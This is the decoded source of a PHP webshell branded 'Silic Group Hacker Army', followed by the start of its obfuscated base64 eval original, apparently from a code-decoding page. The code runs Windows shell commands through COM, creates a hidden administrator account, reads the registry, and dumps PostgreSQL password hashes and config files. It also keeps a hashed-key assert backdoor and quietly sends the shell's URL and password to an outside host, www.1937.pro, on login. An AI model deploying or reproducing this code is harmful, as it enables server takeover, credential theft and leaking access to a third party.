							if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;'; 
							$result = mysql_query($query,$conn); 
							$v = $p; 
							while($text = @mysql_fetch_assoc($result)) 
							{ 
								echo '<tr><td><a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&edit='.$v.'">  </a> '; 
								echo '<a href="#" onclick="Delok(\'\',\'?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&del='.$v.'\');return false;">  </a></td>'; 
								foreach($fields as $row){echo '<td>'.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'</td>';} 
								echo '</tr>'."\r\n";$v++; 
							} 
							echo '</table><div class="actall">'; 
							for($i = 1;$i <= ceil($row_num / 20);$i++){$k = ((int)$_GET['p'] == $i) ? '<font color="#FF0000">'.$i.'</font>' : $i;echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$i.'">['.$k.']</a> ';} 
							echo '</div>'; 
						} 
					} 
					elseif(isset($_GET['insert'])) 
					{ 
						echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['insert'].'">'.$_GET['insert'].'</a></div>'; 
						$result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn); 
						$fieldnum = @mysql_num_fields($result); 
						echo '<form method="POST" action="?s=r&db='.$_GET['db'].'&table='.$_GET['insert'].'">'; 
						for($i = 0;$i < $fieldnum;$i++) 
						{ 
							$name = @mysql_field_name($result, $i); 
							$type = @mysql_field_type($result, $i); 
							$len = @mysql_field_len($result, $i); 
							echo '<div class="actall">'.$name.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="insql['.$name.']" style="width:600px;height:60px;"></textarea></div>'; 
						} 
						echo '<div class="actall"><input type="submit" value="Insert" style="width:80px;"></div></form>'; 
					} 
					else 
					{ 
						$query = 'SHOW TABLE STATUS'; 
						$status = @mysql_query($query,$conn); 
						while($statu = @mysql_fetch_array($status)) 
						{ 
							$statusize[] = $statu['Data_length']; 
							$statucoll[] = $statu['Collation']; 
						} 
						$query = 'SHOW TABLES FROM '.$_GET['db'].';'; 
						echo '</div><table border="0"><tr>'; 
						echo '<td class="toptd" style="width:550px;">  </td>'; 
						echo '<td class="toptd" style="width:80px;">  </td>'; 
						echo '<td class="toptd" style="width:130px;">  </td>'; 
						echo '<td class="toptd" style="width:70px;">  </td></tr>'; 
						$result = @mysql_query($query,$conn); 
						$k = 0; 
						while($table = mysql_fetch_row($result)) 
						{ 
							echo '<tr><td><a href="?s=r&db='.$_GET['db'].'&table='.$table[0].'">'.$table[0].'</a></td>'; 
							echo '<td><a href="?s=r&db='.$_GET['db'].'&insert='.$table[0].'">  </a> <a href="#" onclick="Delok(\''.$table[0].'\',\'?s=r&db='.$_GET['db'].'&drop='.$table[0].'\');return false;">  </a></td>'; 
							echo '<td>'.$statucoll[$k].'</td><td align="right">'.File_Size($statusize[$k]).'</td></tr>'."\r\n"; 
							$k++; 
						} 
						echo '</table>'; 
					} 
				} 
			} 
			else die('MYSQL,.<meta http-equiv="refresh" content="0;URL=?s=o">'); 
			if(!$BOOL) echo '<script type="text/javascript">document.getElementById(\'nsql\').value = \''.addslashes($query).'\';</script>'; 
			return false; 
		} 
		//PostgreSQL 
		function Pgr_sql() 
		{ 
			$pghost=$_POST['pghost'] ? $_POST['pghost']:''; 
			$pgport=$_POST['pgport'] ? $_POST['pgport']:''; 
			$pguser=$_POST['pguser'] ? $_POST['pguser']:'postgres'; 
			$pgpass=$_POST['pgpass'] ? $_POST['pgpass']:''; 
			$pgdb=$_POST['pgdb'] ? $_POST['pgdb']:'postgres'; 
			$pgquery=$_POST['pgsql'] ? $_POST['pgsql']:'select version()'; 
			$pgquery=stripslashes($pgquery); 
			print<<<END 
<script language="javascript"> 
function pgFull(i){ 
Str = new Array(6); 
Str[0] = "select version();"; 
Str[1] = "select datname from pg_database;"; 
Str[2] = "select DISTINCT table_name from information_schema.columns where table_schema !='information_schema' limit 1 offset n;"; 
Str[3] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;"; 
Str[4] = "select usename,passwd from pg_shadow;"; 
Str[5] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; 
pgform.pgsql.value = Str[i]; 
return true; 
} 
</script> 
<div class="actall"> 
<!--SQL--> 
<p style="font-size:10pt;font-family:Lucida Handwriting,Times New Roman;"> 
<br> 
SQLPostgreSQL 8.1<br> 
<br> 
select relname from pg_stat_user_tables limit 1 offset n;<br> 
PostgreSQL<a href="http://nana.blackbap.org/?p=archive&id=55" target="_blank">[]</a><br><hr></p> 
<form name="pgform" method="POST" action="?s=pq"> 
:<input type="text" name="pghost" value="{$pghost}" style="width:100px"> 
:<input type="text" name="pguser" value="{$pguser}" style="width:100px"> 
:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px"> 
:<input type="text" name="pgdb" value="{$pgdb}" style="width:100px"><br><br> 
<textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br> 
<input type="text" name="pgport" value="{$pgport}" style="width:50px"> 
<select onchange="return pgFull(options[selectedIndex].value)"> 
<option value="0" selected></option> 
<option value="1"></option> 
<option value="2"></option> 
<option value="3"></option> 
<option value="4">hashes</option> 
<option value="5">pg_hb.conf</option> 
</select> 
<input type="hidden" name="sql" value="YoCo Smart"> 
<input type="submit" value="SQL"> 
<font style="font-size:10pt;">&nbsp;&nbsp;<a href="http://blackbap.org" target="_blank">Silic Group Hacker Army</a>&copy;2009-2012</font></form> 
<!--SQL--> 
END; 
			if(!empty($pghost) && !empty($pgport)){ 
				$conn="host=".$pghost." port=".$pgport." dbname=".$pgdb." user=".$pguser." password=".$pgpass; 
			}else{ 
				$conn="dbname=".$pgdb." user=".$pguser." password=".$pgpass; 
			} 
			if(!empty($_POST['sql'])){ 
				$pgconn = pg_connect($conn) 
				or die(':'.pg_last_error()); 
				$pgresult=pg_query($pgquery) or die('SQL:<br>'.pg_last_error()); 
				$pgrow=pg_fetch_row($pgresult); 
				echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n"; 
				for ($i=0; $i< pg_num_fields($pgresult); $i++) 
				{echo '<td><b>'.pg_field_name($pgresult, $i)."</b></td>\n";} 
				echo "</tr>\n"; 
				pg_result_seek($pgresult, 0); 
				while ($pgrow=pg_fetch_row($pgresult)) 
				{ 
					echo "<tr>\n"; 
					for ($i=0; $i<pg_num_fields($pgresult); $i++ ) 
					{echo '<td>'."$pgrow[$i]".'</td>';} 
					echo "</tr>\n"; 
				} 
				echo "</table>\n"."</font>"; 
				pg_free_result($pgresult); 
				pg_close(); 
			} 
			echo "</div>"; 
		} 
		function Mysql_o() 
		{ 
			ob_start(); 
			if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) 
			{ 
				if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass'])) 
				{ 
					$cookietime = time() + 24 * 3600; 
					setcookie('m_silichost',$_POST['mhost'],$cookietime); 
					setcookie('m_silicport',$_POST['mport'],$cookietime); 
					setcookie('m_silicuser',$_POST['muser'],$cookietime); 
					setcookie('m_silicpass',$_POST['mpass'],$cookietime); 
					die(',...<meta http-equiv="refresh" content="0;URL=?s=r">'); 
				} 
			} 
			print<<<END 
<form method="POST" name="oform" id="oform" action="?s=o"> 
<div class="actall"> <input type="text" name="mhost" value="localhost" style="width:300px"></div> 
<div class="actall"> <input type="text" name="mport" value="3306" style="width:300px"></div> 
<div class="actall"> <input type="text" name="muser" value="root" style="width:300px"></div> 
<div class="actall"> <input type="text" name="mpass" value="" style="width:300px"></div> 
<div class="actall"><input type="submit" value="" style="width:80px;"> <input type="button" value="COOKIE" style="width:80px;" onclick="window.location='?s=r';"></div> 
</form> 
END; 
			ob_end_flush(); 
			return true; 
		} 
		function zipact() 
		{ 
			$zfile=$_POST['zfile'] ? $_POST['zfile']:'php.zip'; 
			$jypt=$_POST['jypt'] ? $_POST['jypt']:'./'; 
			$tip=""; 
			if($_POST['zip']=='zip'){ 
				if(function_exists(zip_open)){ 
					$zfile=key_exists('zip', $_GET) && $_GET['zip']?$_GET['zip']:$zfile; 
					$zfile= str_replace(array(dirname(__FILE__)."/",dirname(__FILE__)."\\"),array("",""),$zfile); 
					$zpath=str_replace('\\','/',dirname(__FILE__)).'/'.$zfile; 
					if(!is_file($zpath)){$tip='"'.$zpath.'"!';}else{ 
						$zip= new ZipArchive(); 
						$rs=$zip->open($zpath); 
						if($rs !== TRUE){$tip=':'.$rs;} 
						$zip->extractTo($jypt); 
						$zip->close(); 
						$tip=$zfile.'!';} 
				}else{$tip="PHP_ZIP,";} 
			} 
			print<<<END 
<div class="actall"> 
<form action="?s=za" method="POST"> 
<input type="hidden" name="zip" id="zip" value="zip"> 
PHPzip_openZIP<br> 
<b><a href="?s=f"></a></b>php_zip<br> 
 :-(<br> 
<br><br> 
<br> 
<input type="text" name="zfile" id="zfile" value="{$zfile}" style="width:720px;"><br><br> 
 
<input type="text" name="jypt" id="jypt" value="{$jypt}" style="width:720px;"><br><br> 
<input type="submit" value="" style="width:80px;"><br><br><br> 
{$tip}<br><br><br></form></div> 
END; 
		} 
		//Windows 
		function winshell() 
		{ 
			$nop='&nbsp;&nbsp;'; 
			if($_GET['winshell']=='wscript'){ 
				$wcmd=$_POST['wcmd'] ? $_POST['wcmd']:'net user'; 
				$wcpth=$_POST['wcpth'] ? $_POST['wcpth']:'cmd.exe'; 
				print<<<END 
<div class="actall"> 
<form action="?s=jk&winshell=wscript" method="POST"> 
<input type="hidden" name="do" id="do" value="do"><br> 
{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcpth}" style="width:300px;"> -&gt; CMD<br /> 
{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcmd}" style="width:300px;"> <input type="submit" value="" style="width:80px;"> 
<br><br><br></form></div> 
END; 
if($_POST['do']=='do'){ 
	$ww=$wcpth." /c ".$wcmd; 
	$phpwsh=new COM("Wscript.Shell") or die("Shell.Wscript"); 
	$phpexec=$phpwsh->exec($ww); 
	$execoutput=$wshexec->stdout(); 
	$result=$execoutput->readall(); 
	echo $result; 
	@$phpwsh->Release(); 
	$phpwsh=NULL; 
} 
			}elseif($_GET['winshell']=='shelluser'){ 
				$wuser=$_POST['wuser'] ? $_POST['wuser']:'silic'; 
				$wpasw=$_POST['wpasw'] ? $_POST['wpasw']:'1234@silic#'; 
				print<<<END 
<div class="actall"> 
<form action="?s=jk&winshell=shelluser" method="POST"> 
<input type="hidden" name="do" id="do" value="do"><br> 
Shell.Users<br><br> 
{$nop}<input type="text" name="wuser" id="wuser" value="{$wuser}" style="width:100px;"><br> 
{$nop}<input type="text" name="wpasw" id="wpasw" value="{$wpasw}" style="width:100px;"><br><br> 
<input type="submit" value="" style="width:80px;"> 
<br><br><br></form></div> 
END; 
if($_POST['do']='do'){ 
	$shell = new COM("Shell.Users"); 
	$cmd = $shell->create($wuser); 
	$cmd->changePassword($wpasw,""); 
	$cmd->setting["AccountType"] = 3; 
} 
			}elseif($_GET['winshell']=='regedit'){ 
				$regpath=$_POST['regpath'] ? $_POST['regpath']:'HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber'; 
				print<<<END 
<div class="actall"> 
<form action="?s=jk&winshell=regedit" method="POST"> 
<input type="hidden" name="do" id="do" value="do"><br> 
RegRead()(Shell.Wscript)<br><br> 
<br> 
{$nop}<input type="text" name="regpath" id="regpath" value="{$regpath}" style="width:720px;"><br><br> 
<input type="submit" value="" style="width:80px;"> 
<br><br><br></form></div> 
END; 
if($_POST['do']=='do'){ 
	$shell = new COM("WScript.Shell") or die("Shell.Wscript"); 
	try{$registry_proxystring = $shell->RegRead($regpath);} 
	catch(Exception $e){echo ': '.$e->getMessage();} 
	echo $registry_proxystring; 
} 
			}else{ 
				$tip="<br>WebshellWindows<br>PHP<br></h5><br><br><br>"; 
				print<<<END 
<div class="actall"><pre> 
<br><a href="?s=jk&winshell=wscript"> [ WScript ] </a><br><br> 
<h5>PHPWindowsWscript<br> 
Wscriptcmd<br>{$tip}<a href="?s=jk&winshell=shelluser"> [ Shell.User ] </a><br><br> 
<h5>PHPWindowsShell.user<br> 
USERWindows<br>{$tip}<a href="?s=jk&winshell=regedit"> [  ] </a><br><br> 
<h5>PHPWindowsShell.Wscript<br> 
RegRead()<br>{$tip}</pre></div> 
END; 
			} 
		} 
		/****/ 
		if($_GET['s'] == 'logout'){ 
			setcookie('admin_silicpass',NULL); 
			die('<meta http-equiv="refresh" content="0;URL=?">'); 
		}elseif($_GET['s'] == 'ch'){ 
			$oldps=md5(md5(md5(trim($salt.$_POST['oldps'])))); 
			$newps=base64_encode(base64_decode('JHBhc3N3b3JkPSI=').md5(md5(md5(trim($salt.$_POST['newps'])))).base64_decode('Ijs=')); 
			print<<<END 
<div class="actall"><form action="?s=ch" method="POST"> 
<input type="hidden" name="ch" id="ch" value="ch"><br> 
* (!)<br> 
* <a href="http://blackbap.org" _target"_blank">Silic Group</a>SpiderSpider<br> 
* MD5+Saltsession<br> 
* FTP,,Shellcodebug<br> 
* Silic Group Hacker Army - ,,,<br> 
* <a href="http://blackbap.org" target="_blank">BlackBap.Org</a><br><br> 
<input type="text" name="oldps" id="oldps" value="" style="width:120px;"><br /> 
<input type="text" name="newps" id="newps" value="" style="width:120px;"><br> 
<input type="submit" value="" style="width:80px;"> 
<br><br><br></form></div> 
END; 
			if($_POST['ch']='ch' && $oldps==$password && !empty($_POST['newps'])) 
			{ 
				$dline=19; 
				$chpsArr=file(__FILE__); 
				$chsize=count($chpsArr); 
				for($chi=0; $chi< $chsize; $chi++){ 
					if($chi==$dline-1){$chpsStr.=base64_decode($newps)."\r\n";} 
					else{$chpsStr.=$chpsArr[$chi];} 
				} 
				file_put_contents(__FILE__,$chpsStr); 
				echo ""; 
			}else{echo "";} 
		}elseif(md5(md5(md5($salt.trim($_GET['s'])))) == $password){ 
			$asse=$asse{0}.$asse{1}.$asse{1}.$asse{2}.$asse{3}.$asse{4}; 
			@$asse($_POST[$_GET['s']]); 
		}else{ 
			// 
			function Root_Login($MSG_TOP) 
			{ 
				$IP = gethostbyname($_SERVER["SERVER_NAME"]); 
				print<<<END 
<html> 
	<body style="background:#AAAAAA;"> 
		<center> 
		<form method="POST"> 
		<div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;"> 
		<div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>{$MSG_TOP}</b></div> 
		<div style="width:350px;height:80px;margin-top:50px;color:#000000;clear:both;">PASS:<input type="password" name="silicpass" style="width:270px;"></div> 
		<div style="width:350px;height:30px;clear:both;"><input type="submit" value="LOGIN" style="width:80px;"></div> 
		</div> 
		</form> 
		</center> 
	</body> 
</html> 
END; 
				return false; 
			} 
			// 
			function WinMain() 
			{ 
				$Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); 
				$Server_OS = PHP_OS; 
				$Server_Soft = $_SERVER["SERVER_SOFTWARE"]; 
				print<<<END 
<html><head><title>Silic Group Hacker Army - BlackBap.Org</title> 
<style type="text/css"> 
*{padding:0; margin:0;} 
body{background:#AAAAAA;font-family:"Verdana", "Tahoma","",sans-serif;font-size:13px;text-align:center;margin-top:5px;word-break:break-all;} 
a{color:#FFFFFF;text-decoration:none;} 
a:hover{background:#BBBBBB;} 
.outtable{margin: 0 auto;height:595px;width:955px;color:#000000;border-top-width: 2px;border-right-width:2px;border-bottom-width: 2px;border-left-width: 2px;border-top-style: outset;border-right-style: outset;border-bottom-style: outset;border-left-style: outset;border-top-color: #FFFFFF;border-right-color: #8c8c8c;border-bottom-color: #8c8c8c;border-left-color: #FFFFFF;background-color: threedface;} 
.topbg{padding-top:3px;font-size:12px;text-align:left;font-weight:bold;height:22px;width:950px;color:#FFFFFF;background:#293F5F;} 
.listbg{font-family:'lucida grande',tahoma,helvetica,arial,'bitstream vera sans',sans-serif;font-size:13px;width:130px;} 
.listbg li{padding:3px;color:#000000;height:25px;display:block;line-height:26px;text-indent:0px;} 
.listbg li a{padding-top:2px;background:#BBBBBB;color:#000000;height:25px;display:block;line-height:24px;text-indent:0px;border-color:#999999 #999999 #999999 #999999;border-style:solid;border-width:1px;text-decoration:none;} 
.footer{padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:20px;width:950px;color:#000000;background: #888888;} 
</style> 
<script language="JavaScript"> 
function switchTab(tabid) 
{ 
if(tabid == '') return false; 
for(var i=0;i<=15;i++) 
{ 
	if(tabid == 't_'+i) document.getElementById(tabid).style.background="#FFFFFF"; 
	else document.getElementById('t_'+i).style.background="#BBBBBB"; 
} 
return true; 
} 
</script> 
</head> 
<body> 
<div class="outtable"> 
<div class="topbg">&nbsp;<a href="?s=logout" title="">&#8857;</a>&nbsp;&#8857;&nbsp;<a href="?s=ch" target="main" title="">&#8857;</a>&nbsp;{$Server_IP} - {$Server_OS} - {$Server_Soft}</div> 
	<div style="height:546px;"> 
		<table width="100%" height="100%" border=0 cellpadding="0" cellspacing="0"> 
		<tr><td width="140" align="center" valign="top"> 
			<ul class="listbg"> 
<li><a href="?s=a" id="t_0" onclick="switchTab('t_0')" style="background:#FFFFFF;" target="main"></a></li> 
<li><a href="?s=g" id="t_1" onclick="switchTab('t_1')" target="main"></a></li> 
<li><a href="?s=i" id="t_2" onclick="switchTab('t_2')" target="main"></a></li> 
<li><a href="?s=f" id="t_3" onclick="switchTab('t_3')" target="main"></a></li> 
<li><a href="?s=n" id="t_4" onclick="switchTab('t_4')" target="main">MYSQL</a></li> 
<li><a href="?s=o" id="t_5" onclick="switchTab('t_5')" target="main">MYSQL</a></li> 
<li><a href="?s=pq" id="t_6" onclick="switchTab('t_6')" target="main">PostgreSQL</a></li> 
<li><a href="?s=gg" id="t_7" onclick="switchTab('t_7')" target="main"></a></li> 
<li><a href="?s=e" id="t_8" onclick="switchTab('t_8')" target="main"></a></li> 
<li><a href="?s=j" id="t_9" onclick="switchTab('t_9')" target="main"></a></li> 
<li><a href="?s=d" id="t_10" onclick="switchTab('t_10')" target="main"></a></li> 
<li><a href="?s=l" id="t_11" onclick="switchTab('t_11')" target="main">ServU</a></li> 
<li><a href="?s=jk" id="t_12" onclick="switchTab('t_12')" target="main">Win</a></li> 
<li><a href="?s=dd" id="t_13" onclick="switchTab('t_13')" target="main"></a></li> 
<li><a href="?s=ff" id="t_14" onclick="switchTab('t_14')" target="main">php</a></li> 
<li><a href="?s=za" id="t_15" onclick="switchTab('t_15')" target="main">ZIP</a></li></ul></td><td> 
<iframe name="main" src="?s=a" width="100%" height="100%" frameborder="0"></iframe></td></tr></table></div> 
<div class="footer">State: Powered By <a href="http://blackbap.org/" target="_blank">Silic Group</a> [ http://blackbap.org ] - Webshell V5.1</div></div></body></html> 
END; 
				return false; 
			} 
		} 
		/**/ 
		if(get_magic_quotes_gpc()) 
		{ 
			$_GET = Root_GP($_GET); 
			$_POST = Root_GP($_POST); 
		} 
 
function Purl() 
{ 
    $pageURL = 'http'; 
 
    if ($_SERVER["HTTPS"] == "on") 
    { 
        $pageURL .= "s"; 
    } 
    $pageURL .= "://"; 
 
    if ($_SERVER["SERVER_PORT"] != "80") 
    { 
        $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"]; 
    } 
    else 
    { 
        $pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; 
    } 
    return $pageURL; 
} 
$GETURL=Purl(); 
 
		if($_COOKIE['admin_silicpass'] != md5($password)) 
		{ 
			ob_start(); 
			$MSG_TOP = 'LOGIN'; 
			if(isset($passt)) 
			{ 
				$cookietime = time() + 24 * 3600; 
				setcookie('admin_silicpass',md5($passt),$cookietime); 
				 
				 
				if(md5($passt) == md5($password)){ 
					file_get_contents("http://www.1937.pro//index.php/index/api/add?url={$GETURL}&p={$psw}"); 
					die('<meta http-equiv="refresh" content="1;URL=?">');} 
				else{$MSG_TOP = 'PASS IS FALSE';} 
			} 
			Root_Login($MSG_TOP); 
			ob_end_flush(); 
			exit; 
		} 
		if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} 
		$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); 
		switch($s){ 
			case"a":File_a($p);break; 
			case"d":Tihuan_d();break; 
			case"e":Antivirus_e();break; 
			case"f":Info_f();break; 
			case"g":Exec_g();break; 
			case"i":Port_i();break; 
			case"j":Findfile_j();break; 
			case"jk":winshell();break; 
			case"l":Servu_l();break; 
			case"n":Mysql_n();break; 
			case"o":Mysql_o();break; 
			case"p":File_Edit($_GET['fp'],$_GET['fn']); break; 
			case"pq":Pgr_sql(); break; 
			case"q":File_Soup($p); break; 
			case"r":Mysql_Msg(); break; 
			case"dd":backconn();break; 
			case"ff":phpcode();break; 
			case"gg":otherdb();break; 
			case"za":zipact();break; 
			default:WinMain();break; 
		} 
 
---------------------Decode End---------------------------------- 
<html> 
	<body style="background:#AAAAAA;"> 
		<center> 
		<form method="POST"> 
		<div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;"> 
		<div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>PASS IS FALSE</b></div> 
		<div style="width:350px;height:80px;margin-top:50px;color:#000000;clear:both;">PASS:<input type="password" name="silicpass" style="width:270px;"></div> 
		<div style="width:350px;height:30px;clear:both;"><input type="submit" value="LOGIN" style="width:80px;"></div> 
		</div> 
		</form> 
		</center> 
	</body> 
</html>

Did this file decode correctly?

Original Code

---------------------Decode Start--------------------------------
function __lambda_func(){eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKEVfRVJST1IpOw0KaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsNCnNldF90aW1lX2xpbWl0KDApOw0KZnVuY3Rpb24gUm9vdF9HUCgmJGFycmF5KQ0Kew0KCXdoaWxlKGxpc3QoJGtleSwkdmFyKSA9IGVhY2goJGFycmF5KSkNCgl7DQoJCWlmKChzdHJ0b3VwcGVyKCRrZXkpICE9ICRrZXkgfHwgJycuaW50dmFsKCRrZXkpID09ICIka2V5IikgJiYgJGtleSAhPSAnYXJnYycgJiYgJGtleSAhPSAnYXJndicpDQoJCXsNCgkJCWlmKGlzX3N0cmluZygkdmFyKSkgJGFycmF5WyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YXIpOw0KCQkJaWYoaXNfYXJyYXkoJHZhcikpICRhcnJheVska2V5XSA9IFJvb3RfR1AoJHZhcik7DQoJCX0NCgl9DQoJcmV0dXJuICRhcnJheTsNCn0NCiRzYWx0ID0gIm15c2hlbGwiOw0KJHBzdyA9IHRyaW0oJF9QT1NUWydzaWxpY3Bhc3MnXSk7DQokcGFzc3dvcmQgPSAiODZmZDU2MTY3ZTliNDZjOTRlZDEwNzZlMTQwN2M5ZTAiOw0KJHBhc3N0ID0gJHNhbHQuJHBzdzsNCiRwYXNzdCA9IG1kNShtZDUobWQ1KCRwYXNzdCkpKTsNCiRhc3NlPSdhc2VydCc7DQpmdW5jdGlvbiBSb290X0NTUygpDQp7DQoJcHJpbnQ8PDxFTkQNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoqe3BhZGRpbmc6MDsgbWFyZ2luOjA7fQ0KYm9keXtiYWNrZ3JvdW5kOnRocmVlZGZhY2U7Zm9udC1mYW1pbHk6IlZlcmRhbmEiLCJUYWhvbWEiLCLLzszlIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxM3B4O21hcmdpbi10b3A6M3B4O21hcmdpbi1ib3R0b206M3B4O3RhYmxlLWxheW91dDpmaXhlZDt3b3JkLWJyZWFrOmJyZWFrLWFsbDt9DQphe2NvbG9yOiMwMDAwMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KYTpob3ZlcntiYWNrZ3JvdW5kOiNCQkJCQkI7fQ0KdGFibGV7Y29sb3I6IzAwMDAwMDtmb250LWZhbWlseToiVmVyZGFuYSIsIlRhaG9tYSIsIsvOzOUiLHNhbnMtc2VyaWY7Zm9udC1zaXplOjEzcHg7Ym9yZGVyOjFweCBzb2xpZCAjOTk5OTk5O30NCnRke2JhY2tncm91bmQ6I0Y5RjZGNDt9DQoudG9wdGR7YmFja2dyb3VuZDp0aHJlZWRmYWNlO3dpZHRoOjMxMHB4O2JvcmRlci1jb2xvcjojRkZGRkZGICM5OTk5OTkgIzk5OTk5OSAjRkZGRkZGO2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4O30NCi5tc2dib3h7YmFja2dyb3VuZDojRkZGRkUwO2NvbG9yOiNGRjAwMDA7aGVpZ2h0OjI1cHg7Zm9udC1zaXplOjEycHg7Ym9yZGVyOjFweCBzb2xpZCAjOTk5OTk5O3RleHQtYWxpZ246Y2VudGVyO3BhZGRpbmc6M3B4O2NsZWFyOmJvdGg7fQ0KLmFjdGFsbHtiYWNrZ3JvdW5kOiNGOUY2RjQ7Zm9udC1zaXplOjE0cHg7Ym9yZGVyOjFweCBzb2xpZCAjOTk5OTk5O3BhZGRpbmc6MnB4O21hcmdpbi10b3A6M3B4O21hcmdpbi1ib3R0b206M3B4O2NsZWFyOmJvdGg7fQ0KLmZvb3RlcntwYWRkaW5nLXRvcDozcHg7dGV4dC1hbGlnbjogY2VudGVyO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OiBib2xkO2hlaWdodDoyMnB4O3dpZHRoOjk1MHB4O2NvbG9yOiMwMDAwMDA7YmFja2dyb3VuZDogIzg4ODg4ODt9DQo8L3N0eWxlPlxuDQpFTkQ7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KLy/OxLz+udzA7Q0KY2xhc3MgcGFja2Rpcg0Kew0KCXZhciAkb3V0PScnOw0KCXZhciAkZGF0YXNlYz1hcnJheSgpOw0KCXZhciAkY3RybF9kaXI9YXJyYXkoKTsNCgl2YXIgJGVvZl9jdHJsX2Rpcj0iXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KCXZhciAkb2xkX29mZnNldD0wOw0KCWZ1bmN0aW9uIHBhY2tkaXIoJGFycmF5KQ0KCXsNCgkJaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQ0KCQl7DQoJCQlmb3IoJG4gPSAwOyRuIDwgY291bnQoJGFycmF5KTskbisrKQ0KCQkJew0KCQkJCSRhcnJheVskbl0gPSB1cmxkZWNvZGUoJGFycmF5WyRuXSk7DQoJCQkJJGZwID0gQGZvcGVuKCRhcnJheVskbl0sICdyJyk7DQoJCQkJJGZpbGVjb2RlID0gQGZyZWFkKCRmcCwgQGZpbGVzaXplKCRhcnJheVskbl0pKTsNCgkJCQlAZmNsb3NlKCRmcCk7DQoJCQkJJHRoaXMgLT4gZmlsZXppcCgkZmlsZWNvZGUsYmFzZW5hbWUoJGFycmF5WyRuXSkpOw0KCQkJfQ0KCQkJQGNsb3NlZGlyKCR6aGl6aGVuKTsNCgkJCSR0aGlzLT5vdXQgPSAkdGhpcy0+cGFja2ZpbGUoKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9DQoJCXJldHVybiBmYWxzZTsNCgl9DQoNCglmdW5jdGlvbiBhdCgkYXR1bml4ID0gMCkNCgl7DQoJCSR1bml4YXJyID0gKCRhdHVuaXggPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCRhdHVuaXgpOw0KCQlpZiAoJHVuaXhhcnJbJ3llYXInXSA8IDE5ODApDQoJCXsNCgkJCSR1bml4YXJyWyd5ZWFyJ10gICAgPSAxOTgwOw0KCQkJJHVuaXhhcnJbJ21vbiddICAgICA9IDE7DQoJCQkkdW5peGFyclsnbWRheSddICAgID0gMTsNCgkJCSR1bml4YXJyWydob3VycyddICAgPSAwOw0KCQkJJHVuaXhhcnJbJ21pbnV0ZXMnXSA9IDA7DQoJCQkkdW5peGFyclsnc2Vjb25kcyddID0gMDsNCgkJfQ0KCQlyZXR1cm4gKCgkdW5peGFyclsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR1bml4YXJyWydtb24nXSA8PCAyMSkgfCAoJHVuaXhhcnJbJ21kYXknXSA8PCAxNikgfCAoJHVuaXhhcnJbJ2hvdXJzJ10gPDwgMTEpIHwgKCR1bml4YXJyWydtaW51dGVzJ10gPDwgNSkgfCAoJHVuaXhhcnJbJ3NlY29uZHMnXSA+PiAxKTsNCgl9DQoJZnVuY3Rpb24gZmlsZXppcCgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkNCgl7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoJCSRkdGltZSA9IGRlY2hleCgkdGhpcy0+YXQoJHRpbWUpKTsNCgkJJGhleGR0aW1lCT0gJ1x4Jy4kZHRpbWVbNl0uJGR0aW1lWzddLidceCcuJGR0aW1lWzRdLiRkdGltZVs1XS4nXHgnLiRkdGltZVsyXS4kZHRpbWVbM10uJ1x4Jy4kZHRpbWVbMF0uJGR0aW1lWzFdOw0KCQlldmFsKCckaGV4ZHRpbWUgPS